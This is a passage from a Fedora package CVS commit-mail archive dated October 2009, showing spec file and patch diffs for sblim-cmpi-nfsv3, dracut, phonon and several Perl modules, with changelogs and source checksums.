%docdir %{_datadir}/doc/%{name}-%{version}
#%{_libdir}/*.so
%{provider_dir}/*.so
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite

%define NFSV3_SCHEMA %{_datadir}/%{name}/Linux_NFSv3SystemSetting.mof %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.mof
%define NFSV3_REGISTRATION %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.registration %{_datadir}/%{name}/Linux_NFSv3SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Tue Sep 29 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.14-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:29:28 -0000	1.1
+++ sources	7 Oct 2009 14:13:09 -0000	1.2
@@ -0,0 +1 @@
+9979ff8134f48aff6553ed4975f388eb  sblim-cmpi-nfsv3-1.0.14.tar.bz2



From harald at fedoraproject.org  Wed Oct  7 14:15:42 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Wed,  7 Oct 2009 14:15:42 +0000 (UTC)
Subject: rpms/dracut/F-12
	dracut-git8d0a55cfac2b7dc2b3ce71235dce40fef17e9953.patch, NONE,
	1.1 dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch, NONE,
	1.1 dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch,
	NONE, 1.1 dracut.spec, 1.38, 1.39
Message-ID: <20091007141542.93FDA11C00E6@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32626

Modified Files:
	dracut.spec 
Added Files:
	dracut-git8d0a55cfac2b7dc2b3ce71235dce40fef17e9953.patch 
	dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch 
	dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch 
Log Message:
* Wed Oct 07 2009 Harald Hoyer <harald at redhat.com> 002-13
- fixed init=<command> handling
- kill loginit if "rdinitdebug" specified
- run dmsquash-live-root after udev has settled (bug #527514)


dracut-git8d0a55cfac2b7dc2b3ce71235dce40fef17e9953.patch:
 init |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE dracut-git8d0a55cfac2b7dc2b3ce71235dce40fef17e9953.patch ---
commit 8d0a55cfac2b7dc2b3ce71235dce40fef17e9953
Author: Harald Hoyer <harald at redhat.com>
Date:   Wed Oct 7 12:48:47 2009 +0200

    do not use init= arg as first argument

diff --git a/modules.d/99base/init b/modules.d/99base/init
index 54d35cc..a5b565c 100755
--- a/modules.d/99base/init
+++ b/modules.d/99base/init
@@ -227,6 +227,7 @@ if getarg init= >/dev/null ; then
     read CLINE </proc/cmdline
     CLINE=${CLINE#*init=}
     set $CLINE
+    shift
     for x in "$@"; do
         for s in $ignoreargs; do       
             [ "${x%%=*}" = $s ] && continue 2

dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch:
 init |   42 ++++++++++++++++++++++++++++++++++--------
 1 file changed, 34 insertions(+), 8 deletions(-)

--- NEW FILE dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch ---
commit ac36d5db7e85ff2861b62ab7212655d49eee1b42
Author: Harald Hoyer <harald at redhat.com>
Date:   Wed Oct 7 14:03:19 2009 +0200

    base/init: kill loginit after one second of waiting

diff --git a/modules.d/99base/init b/modules.d/99base/init
index a5b565c..24832ab 100755
--- a/modules.d/99base/init
+++ b/modules.d/99base/init
@@ -2,15 +2,40 @@
 #
 # Licensed under the GPLv2
 #
-# Copyright 2008, Red Hat, Inc.
+# Copyright 2008-2009, Red Hat, Inc.
+# Harald Hoyer <harald at redhat.com>
 # Jeremy Katz <katzj at redhat.com>
 
+wait_for_loginit()
+{
+    if getarg rdinitdebug; then
+	set +x
+	exec 1>- 2>-
+	exec 0<>/dev/console 1<>/dev/console 2<>/dev/console
+	# wait for loginit
+	i=0
+	while [ $i -lt 10 ]; do 
+	    j=$(jobs)
+	    [ -z "$j" ] && break
+	    [ -z "${j##*Running*}" ] || break
+	    sleep 0.1
+	    i=$[$i+1]
+	done	
+	[ $i -eq 10 ] && kill %1 >/dev/null 2>&1
+
+        while pidof -x /sbin/loginit >/dev/null 2>&1; do
+            for pid in $(pidof -x /sbin/loginit); do
+                kill $HARD $pid >/dev/null 2>&1
+            done
+            HARD="-9"
+        done
+	set -x
+    fi
+}
+
 emergency_shell()
 {
-    set +x
-    exec 0<>/dev/console 1<>/dev/console 2<>/dev/console
-    # wait for loginit
-    wait
+    wait_for_loginit
     echo ; echo
     echo $@
     source_all emergency
@@ -58,7 +83,10 @@ if getarg rdinitdebug; then
     mkfifo /dev/initlog.pipe
     /sbin/loginit $DRACUT_QUIET </dev/initlog.pipe >/dev/console 2>&1 &
     exec >/dev/initlog.pipe 2>&1
+else
+    exec 0<>/dev/console 1<>/dev/console 2<>/dev/console
 fi
+
 setdebug
 
 mkdir /dev/shm
@@ -245,9 +273,7 @@ fi
 
 info "Switching root"
 
-exec 0<>/dev/console 1<>/dev/console 2<>/dev/console
-# wait for loginit
-wait
+wait_for_loginit
 
 exec switch_root "$NEWROOT" "$INIT" $initargs || {
     echo "Something went very badly wrong in the initramfs.  Please "

dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch:
 dmsquash-live-genrules.sh |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch ---
commit cdc74b198ebbda69f550a7d744534e41cffd7e25
Author: Harald Hoyer <harald at redhat.com>
Date:   Wed Oct 7 12:49:52 2009 +0200

    dmsquash-live: run dmsquash-live-root after udev settle

diff --git a/modules.d/90dmsquash-live/dmsquash-live-genrules.sh b/modules.d/90dmsquash-live/dmsquash-live-genrules.sh
index 0cd7e8d..56199d5 100644
--- a/modules.d/90dmsquash-live/dmsquash-live-genrules.sh
+++ b/modules.d/90dmsquash-live/dmsquash-live-genrules.sh
@@ -4,9 +4,9 @@ if [ "${root%%:*}" = "live" ]; then
     	${root#live:/dev/} 
     printf 'SYMLINK=="%s", SYMLINK+="live"\n' \
 	${root#live:/dev/} 
-    printf 'KERNEL=="%s", RUN+="/sbin/initqueue --onetime --unique /sbin/dmsquash-live-root $env{DEVNAME}"\n' \
+    printf 'KERNEL=="%s", RUN+="/sbin/initqueue --settled --onetime --unique /sbin/dmsquash-live-root $env{DEVNAME}"\n' \
     	${root#live:/dev/} 
-    printf 'SYMLINK=="%s", RUN+="/sbin/initqueue --onetime --unique /sbin/dmsquash-live-root $env{DEVNAME}"\n' \
+    printf 'SYMLINK=="%s", RUN+="/sbin/initqueue --settled --onetime --unique /sbin/dmsquash-live-root $env{DEVNAME}"\n' \
 	${root#live:/dev/} 
 
     ) >> /etc/udev/rules.d/99-live-mount.rules


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- dracut.spec	6 Oct 2009 12:52:01 -0000	1.38
+++ dracut.spec	7 Oct 2009 14:15:42 -0000	1.39
@@ -14,12 +14,17 @@
 
 Name: dracut
 Version: 002
-Release: 12%{?rdist}
+Release: 13%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
 URL: http://apps.sourceforge.net/trac/dracut/wiki
 Source0: dracut-%{version}%{?dashgittag}.tar.bz2
+
+Patch1: dracut-git8d0a55cfac2b7dc2b3ce71235dce40fef17e9953.patch
+Patch2: dracut-gitcdc74b198ebbda69f550a7d744534e41cffd7e25.patch
+Patch3: dracut-gitac36d5db7e85ff2861b62ab7212655d49eee1b42.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: udev
 Requires: util-linux-ng
@@ -103,6 +108,9 @@ This package contains tools to assemble 
 
 %prep
 %setup -q -n %{name}-%{version}%{?dashgittag}
+%patch1 -p1
+%patch2 -p1
+%patch3 -p1
 
 %build
 make
@@ -184,6 +192,11 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Wed Oct 07 2009 Harald Hoyer <harald at redhat.com> 002-13
+- fixed init=<command> handling
+- kill loginit if "rdinitdebug" specified
+- run dmsquash-live-root after udev has settled (bug #527514)
+
 * Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 002-12
 - add missing loginit helper
 - corrected dracut manpage



From rdieter at fedoraproject.org  Wed Oct  7 14:22:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed,  7 Oct 2009 14:22:45 +0000 (UTC)
Subject: rpms/phonon/F-12 phonon.spec,1.48,1.49
Message-ID: <20091007142245.64CEB11C0298@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1398/F-12

Modified Files:
	phonon.spec 
Log Message:
omit xineonly from srpm for now too



Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-12/phonon.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- phonon.spec	7 Oct 2009 14:08:28 -0000	1.48
+++ phonon.spec	7 Oct 2009 14:22:44 -0000	1.49
@@ -29,7 +29,7 @@ Patch2:  qt-x11-opensource-src-4.5.2-gst
 
 ## define to build phonon-backend-xine only
 #define xine_only 1
-Patch10: phonon-4.3.1-xineonly.patch
+#Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
 Patch100: phonon-4.3.2-gstreamer-utf8-url.patch



From rdieter at fedoraproject.org  Wed Oct  7 14:22:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed,  7 Oct 2009 14:22:45 +0000 (UTC)
Subject: rpms/phonon/devel phonon.spec,1.46,1.47
Message-ID: <20091007142245.170BD11C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1398/devel

Modified Files:
	phonon.spec 
Log Message:
omit xineonly from srpm for now too



Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/devel/phonon.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- phonon.spec	7 Oct 2009 14:05:17 -0000	1.46
+++ phonon.spec	7 Oct 2009 14:22:44 -0000	1.47
@@ -29,7 +29,7 @@ Patch2:  qt-x11-opensource-src-4.5.2-gst
 
 ## define to build phonon-backend-xine only
 #define xine_only 1
-Patch10: phonon-4.3.1-xineonly.patch
+#Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
 Patch100: phonon-4.3.2-gstreamer-utf8-url.patch



From rdieter at fedoraproject.org  Wed Oct  7 14:24:40 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed,  7 Oct 2009 14:24:40 +0000 (UTC)
Subject: rpms/phonon/F-10 .cvsignore, 1.8, 1.9 phonon.spec, 1.21,
	1.22 sources, 1.8, 1.9
Message-ID: <20091007142440.A2CB111C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2362/F-10

Modified Files:
	.cvsignore phonon.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-10/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 May 2009 16:25:31 -0000	1.8
+++ .cvsignore	7 Oct 2009 14:24:40 -0000	1.9
@@ -1,3 +1,8 @@
 gstreamer-logo.svg
-phonon-4.3.0.tar.bz2
 phonon-4.3.1.tar.bz2
+hi128-phonon-gstreamer.png
+hi16-phonon-gstreamer.png
+hi22-phonon-gstreamer.png
+hi32-phonon-gstreamer.png
+hi48-phonon-gstreamer.png
+hi64-phonon-gstreamer.png


Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-10/phonon.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- phonon.spec	7 Oct 2009 13:11:53 -0000	1.21
+++ phonon.spec	7 Oct 2009 14:24:40 -0000	1.22
@@ -2,7 +2,7 @@
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 101%{?dist}
+Release: 102%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
@@ -48,14 +48,16 @@ BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.4.0
+BuildRequires: qt4-devel
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
-## can switch to Requires instead of Conflicts once bootstrapping is done
-#Requires: qt4%{?_isa} >= %{_qt4_version}
-Conflicts: qt4 < 4.5.2-21
+%if 0%{?fedora} > 11
+Requires: qt4%{?_isa} >= 4.5.2-21 
+%else
+Requires: qt4%{?_isa} >= %{_qt4_version}
+%endif
 
 %description
 %{summary}.
@@ -101,7 +103,7 @@ Provides:  %{name}-backend-gst = %{versi
 
 # not working?  use -C .../xine hack below instead for now  -- Rex
 %if 0%{?xine_only}
-#%patch10 -p1 -b .xineonly
+#patch10 -p1 -b .xineonly
 %endif
 
 
@@ -202,6 +204,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
+- Requires: qt4 >= 4.5.2-21 (f12+)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
 - revert to kde/phonon
 - inflate to Release: 101


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-10/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	3 Mar 2009 16:54:23 -0000	1.8
+++ sources	7 Oct 2009 14:24:40 -0000	1.9
@@ -1,2 +1,8 @@
 8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
 767cb68052c108e95f293f30acdef3fb  phonon-4.3.1.tar.bz2
+60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
+7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
+0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
+12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
+86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
+153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png



From rdieter at fedoraproject.org  Wed Oct  7 14:24:40 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed,  7 Oct 2009 14:24:40 +0000 (UTC)
Subject: rpms/phonon/F-11 .cvsignore, 1.11, 1.12 phonon.spec, 1.39,
	1.40 sources, 1.13, 1.14
Message-ID: <20091007142440.CBF1711C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2362/F-11

Modified Files:
	.cvsignore phonon.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	27 Feb 2009 11:07:08 -0000	1.11
+++ .cvsignore	7 Oct 2009 14:24:40 -0000	1.12
@@ -1,3 +1,8 @@
 gstreamer-logo.svg
-phonon-4.3.0.tar.bz2
 phonon-4.3.1.tar.bz2
+hi128-phonon-gstreamer.png
+hi16-phonon-gstreamer.png
+hi22-phonon-gstreamer.png
+hi32-phonon-gstreamer.png
+hi48-phonon-gstreamer.png
+hi64-phonon-gstreamer.png


Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-11/phonon.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- phonon.spec	7 Oct 2009 13:11:53 -0000	1.39
+++ phonon.spec	7 Oct 2009 14:24:40 -0000	1.40
@@ -2,7 +2,7 @@
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 101%{?dist}
+Release: 102%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
@@ -48,14 +48,16 @@ BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.4.0
+BuildRequires: qt4-devel
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
-## can switch to Requires instead of Conflicts once bootstrapping is done
-#Requires: qt4%{?_isa} >= %{_qt4_version}
-Conflicts: qt4 < 4.5.2-21
+%if 0%{?fedora} > 11
+Requires: qt4%{?_isa} >= 4.5.2-21 
+%else
+Requires: qt4%{?_isa} >= %{_qt4_version}
+%endif
 
 %description
 %{summary}.
@@ -101,7 +103,7 @@ Provides:  %{name}-backend-gst = %{versi
 
 # not working?  use -C .../xine hack below instead for now  -- Rex
 %if 0%{?xine_only}
-#%patch10 -p1 -b .xineonly
+#patch10 -p1 -b .xineonly
 %endif
 
 
@@ -202,6 +204,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
+- Requires: qt4 >= 4.5.2-21 (f12+)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
 - revert to kde/phonon
 - inflate to Release: 101


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	27 Feb 2009 11:07:08 -0000	1.13
+++ sources	7 Oct 2009 14:24:40 -0000	1.14
@@ -1,2 +1,8 @@
 8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
 767cb68052c108e95f293f30acdef3fb  phonon-4.3.1.tar.bz2
+60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
+7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
+0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
+12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
+86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
+153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png



From kasal at fedoraproject.org  Wed Oct  7 14:26:01 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 14:26:01 +0000 (UTC)
Subject: rpms/perl-MIME-Lite/devel perl-MIME-Lite.spec,1.11,1.12
Message-ID: <20091007142601.B5FD211C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-MIME-Lite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2676

Modified Files:
	perl-MIME-Lite.spec 
Log Message:
- no need to search for *.bs files in noarch rpm


Index: perl-MIME-Lite.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/devel/perl-MIME-Lite.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- perl-MIME-Lite.spec	7 Oct 2009 13:52:33 -0000	1.11
+++ perl-MIME-Lite.spec	7 Oct 2009 14:26:01 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           perl-MIME-Lite
 Version:        3.026
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        MIME::Lite - low-calorie MIME generator
 
 Group:          Development/Libraries
@@ -36,8 +36,7 @@ make %{?_smp_mflags}
 %install
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
-find $RPM_BUILD_ROOT -type f -a \( -name .packlist \
-  -o \( -name '*.bs' -a -empty \) \) -exec rm -f {} ';'
+find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
 find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir ';'
 
 
@@ -57,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 3.26-2
+- no need to search for *.bs files in noarch rpm
+
 * Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 3.26-1
 - new upstream version
 - fix buildrequires



From vcrhonek at fedoraproject.org  Wed Oct  7 14:26:18 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 14:26:18 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/F-11 sblim-cmpi-nfsv3.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007142618.88E3A11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2737

Modified Files:
	sources 
Added Files:
	sblim-cmpi-nfsv3.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-nfsv3.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM nfsv3 instrumentation
Name:           sblim-cmpi-nfsv3
Version:        1.0.14
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv3 Providers

%package devel
Summary:        SBLIM Nfsv3 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM Base Nfsv3 Development Package

%package test
Summary:        SBLIM Nfsv3 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv3SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{_libdir}/cmpi/
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
#%{_libdir}/*.so
%{provider_dir}/*.so
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite

%define NFSV3_SCHEMA %{_datadir}/%{name}/Linux_NFSv3SystemSetting.mof %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.mof
%define NFSV3_REGISTRATION %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.registration %{_datadir}/%{name}/Linux_NFSv3SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Tue Sep 29 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.14-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:29:28 -0000	1.1
+++ sources	7 Oct 2009 14:26:18 -0000	1.2
@@ -0,0 +1 @@
+9979ff8134f48aff6553ed4975f388eb  sblim-cmpi-nfsv3-1.0.14.tar.bz2



From kasal at fedoraproject.org  Wed Oct  7 14:29:37 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 14:29:37 +0000 (UTC)
Subject: rpms/perl-Module-Find/devel .cvsignore, 1.3,
	1.4 perl-Module-Find.spec, 1.5, 1.6 sources, 1.3, 1.4
Message-ID: <20091007142937.52D1B11C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Module-Find/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4000

Modified Files:
	.cvsignore perl-Module-Find.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Jul 2008 06:07:16 -0000	1.3
+++ .cvsignore	7 Oct 2009 14:29:37 -0000	1.4
@@ -1 +1 @@
-Module-Find-0.06.tar.gz
+Module-Find-0.08.tar.gz


Index: perl-Module-Find.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/devel/perl-Module-Find.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Module-Find.spec	26 Jul 2009 11:18:08 -0000	1.5
+++ perl-Module-Find.spec	7 Oct 2009 14:29:37 -0000	1.6
@@ -1,12 +1,13 @@
 Name:           perl-Module-Find
-Version:        0.06
-Release:        3%{?dist}
+Version:        0.08
+Release:        1%{?dist}
 Summary:        Find and use installed modules in a (sub)category
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/Module-Find/
 Source0:        http://www.cpan.org/authors/id/C/CR/CRENZ/Module-Find-%{version}.tar.gz
+Patch0:		perl-Module-Find-changes.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -23,6 +24,7 @@ between looking in the category itself o
 
 %prep
 %setup -q -n Module-Find-%{version}
+%patch0 -p1
 
 
 %build
@@ -34,7 +36,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
